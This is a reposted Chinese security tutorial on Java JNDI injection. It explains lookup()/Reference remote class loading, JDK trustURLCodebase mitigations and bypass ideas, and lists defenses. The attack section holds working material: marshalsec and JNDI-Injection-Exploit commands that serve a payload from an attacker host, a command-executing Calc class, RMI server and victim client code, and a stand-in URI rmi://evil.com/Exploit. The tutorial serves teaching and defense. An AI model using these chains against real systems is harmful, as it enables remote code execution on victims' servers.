第47天-JNDI注入深度剖析:从原理到高版本绕过,一篇全掌握!

admin 2026-03-03 07:22:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入剖析了JNDI注入的原理、攻击流程与防御机制,指出其通过控制lookup参数诱导应用从远程加载恶意对象实现代码执行,并详细介绍了利用工具(如marshalsec、JNDI-Injection-Exploit)进行手工复现的方法。文章还分析了高版本JDK(如8u191+)通过默认关闭远程codebase加载的防御限制,并预告了利用本地Gadget等绕过手法,最后总结了升级JDK、严格输入过滤、启用安全管理器等防护措施。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,实战经验


cover_image

第47天-JNDI注入深度剖析:从原理到高版本绕过,一篇全掌握!

原创

萧瑶 萧瑶

AlphaNet

2026年2月23日 08:54 江苏

一次lookup,就可能让系统沦陷。本文带你彻底理解JNDI注入的来龙去脉。

0x00 思考先行:JNDI注入究竟是什么?

在深入技术细节前,我们先思考几个核心问题:

· 什么是JNDI注入?

JNDI注入是一种通过控制JNDI(Java命名和目录接口)lookup方法的参数,诱导Java应用从攻击者控制的远程服务器加载恶意对象,从而执行任意代码的攻击技术。

· 为什么会有JNDI注入?

根本原因在于JNDI的动态协议转换和远程对象加载机制。当应用将用户可控的字符串直接传给lookup()方法时,攻击者可构造恶意URI(如rmi://evil.com/Exploit),使客户端从远程加载并执行攻击者的恶意类。

· JNDI注入带来哪些安全威胁?

一旦利用成功,攻击者可实现远程代码执行,进而控制服务器、窃取数据、植入后门。2021年席卷全球的Log4j2漏洞(CVE-2021-44228)本质上就是JNDI注入,其破坏力可见一斑。

· 利用JNDI注入需要什么条件?

  1. 存在InitialContext.lookup()调用且参数用户可控

  2. 服务端JDK版本在限制版本以下,或存在绕过手法

  3. 攻击者能搭建恶意的RMI/LDAP服务并托管恶意类文件


0x01 JNDI基础:你必须知道的核心概念

JNDI是什么?

JNDI(Java Naming and Directory Interface)是Java提供的一组API,为应用统一接口访问各种命名和目录服务。你可以把它想象成一个“电话本”,通过名字就能找到对应的资源(对象、服务等)。它支持的主要协议包括:

· RMI:远程方法调用

· LDAP:轻量级目录访问协议

· DNS:域名系统

· CORBA:公共对象请求代理体系结构

命名服务 vs 目录服务

· 命名服务:简单的键值对绑定,如”person” → Person对象,通过名字精确查找。

· 目录服务:命名服务的扩展,对象可以有属性,支持按属性搜索,如LDAP。

ObjectFactory:让远程对象“活”起来

ObjectFactory负责将命名/目录服务中存储的数据转换为Java对象。JNDI注入的风险点就出现在“远程加载自定义ObjectFactory”的能力上——当客户端从远程加载一个工厂类,并实例化其中的对象时,恶意代码便得以执行。

关键类:Reference

Java允许将对象以引用的形式存储在命名/目录服务中(如RMI、LDAP),这就是Reference类。它的核心参数:

· className:远程加载时要使用的类名

· classFactory:实例化对象所需的工厂类名

· classFactoryLocation:工厂类所在的远程地址(http://、ftp://等)

当客户端lookup一个绑定了Reference的对象时,若本地找不到对应类,就会从classFactoryLocation远程加载并实例化,攻击链条就此形成。


0x02 JNDI注入原理:一次远程加载的“请君入瓮”

JNDI注入的核心攻击模式如下:

  1. 攻击者在恶意RMI/LDAP服务上绑定一个Reference,指向远程HTTP服务器上的恶意class文件。

  2. 受害者应用调用InitialContext.lookup(attackerURI),参数被攻击者控制(如rmi://evil.com:1099/Exploit)。

  3. JNDI根据URI协议连接到恶意服务,获取Reference对象。

  4. 当客户端尝试在本地查找Reference中指定的类失败时,会根据classFactoryLocation远程加载并实例化该类。

  5. 恶意代码在受害者应用中执行。

这一过程依赖于JNDI的动态协议转换特性——即使上下文初始化时指定了RMI协议,lookup()仍可通过URI中的协议(如ldap://)切换到LDAP服务。攻击面因此大大拓宽。


0x03 攻击实战:工具与手工复现

常见调用了lookup()的危险类

以下类在特定逻辑中调用了InitialContext.lookup(),若其参数可被外部控制,即存在风险:

· org.springframework.transaction.jta.JtaTransactionManager.readObject()

· com.sun.rowset.JdbcRowSetImpl.execute()(曾出现在Fastjson漏洞中)

· javax.management.remote.rmi.RMIConnector.connect()

· org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()

· InitialDirContext.lookup()、Spring LdapTemplate.lookup()

利用工具:快速验证漏洞

工具1:marshalsec

项目地址:https://github.com/mbechler/marshalsec

步骤:

  1. 编译恶意类Test.java,生成Test.class
javac Test.java
  1. 使用marshalsec启动恶意LDAP/RMI服务,指向存放class的HTTP服务器
# LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的IP:8080/#Test

# RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://你的IP:8080/#Test
  1. 在HTTP服务器(如Python的http.server)根目录放置Test.class

工具2:JNDI-Injection-Exploit

项目地址:https://github.com/welk1n/JNDI-Injection-Exploit

这个工具集成了更多绕过技巧,一键生成恶意服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 你的IP地址

参数-C指定要执行的命令(如弹出计算器),-A指定监听IP。工具会自动生成多个协议的恶意URI,供受害者访问。

手工复现:从0到1理解攻击细节

  1. 编写恶意类(Calc.java)
public class Calc {

static {

try {

Runtime.getRuntime().exec("calc");

} catch (Exception e) {}

}

}

编译生成Calc.class,放到HTTP服务器(如http://127.0.0.1:8089/)。

  1. 攻击者搭建恶意RMI服务
// RMIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;

import java.rmi.registry.\*;

public class RMIServer {

public static void main(String[] args) throws Exception {

// 创建RMI注册表监听7778端口

Registry registry = LocateRegistry.createRegistry(7778);

// 创建Reference,指向远程恶意类

Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8089/");

ReferenceWrapper wrapper = new ReferenceWrapper(reference);

// 绑定到RMI服务,名称为RCE

registry.bind("RCE", wrapper);

System.out.println("RMI服务已启动...");

}

}
  1. 受害者客户端(模拟被攻击应用)
// VictimClient.java

import javax.naming.InitialContext;

public class VictimClient {

public static void main(String[] args) throws Exception {

String uri = "rmi://127.0.0.1:7778/RCE";

InitialContext initialContext = new InitialContext();

// 关键点:lookup参数被攻击者控制

initialContext.lookup(uri);

}

}

执行效果:当受害者运行VictimClient时,会从攻击者的RMI服务获取Reference,进而从HTTP服务器加载Calc.class,执行静态代码块中的命令(弹出计算器)。


0x04 JDK版本防御:高版本如何“堵住”漏洞?

随着JNDI注入的泛滥,Oracle在JDK中逐步引入了多重防御机制:

JDK版本范围 新增安全限制 影响

6u45、7u21之后 java.rmi.server.useCodebaseOnly=true(默认) RMI客户端仅从本地CLASSPATH和预设codebase加载类,禁用远程动态加载

6u141、7u131、8u121之后 com.sun.jndi.rmi.object.trustURLCodebase=false(默认) RMI和CORBA协议禁止使用远程codebase,无法通过RMI进行JNDI注入

6u211、7u201、8u191之后 com.sun.jndi.ldap.object.trustURLCodebase=false(默认) LDAP协议也禁止使用远程codebase,至此主流攻击向量被封锁

简单记忆:8u121以下可RMI攻击,8u121~8u191可LDAP攻击,8u191以上所有远程codebase加载默认关闭。


0x05 高版本如何绕过?(进阶预告)

虽然高版本JDK默认禁止了远程codebase加载,但安全研究员们仍发现了多种绕过手法:

· 利用本地Gadget:不依赖远程加载,而是通过服务端本地已有的类(如Tomcat、Spring等)构造利用链(类似于反序列化漏洞)。

· LDAP返回序列化数据:即使关闭了远程codebase,LDAP服务仍可返回序列化Java对象,若服务端依赖的库中存在危险的反序列化Gadget,仍可触发代码执行。

· 利用Java的CORBA等其他协议。

这些高级利用技巧将在后续Java安全篇章中详细展开,敬请期待!


0x06 防御总结:构建JNDI安全防线

  1. 升级JDK版本

将JDK升级到8u191或更高版本,从根本上关闭远程codebase加载。

  1. 严格控制输入

对所有传递给lookup()的参数进行严格过滤,避免用户控制完整的URI。可使用白名单机制,只允许预设的JNDI名称。

  1. 合理配置安全管理器

启用SecurityManager,限制远程代码的权限,如禁止访问本地文件系统、网络等。

  1. 关注第三方库漏洞

及时更新Log4j2、Fastjson等常用库,这些库往往成为JNDI注入的入口点。

  1. 定期安全审计

使用静态代码扫描工具,查找代码中危险的InitialContext.lookup()调用点。


JNDI注入的攻防博弈仍在继续。理解其原理,不仅是为了应对已知漏洞,更是为了在未来的Java安全挑战中,拥有快速分析和应对的能力。希望本文能为你构建清晰的知识图谱!

版权声明:本文为CSDN博主「dupei」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/dupei/article/details/120534024


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第47天-JNDI注入深度剖析:从原理到高版本绕过,一篇全掌握!》

评论:0   参与:  0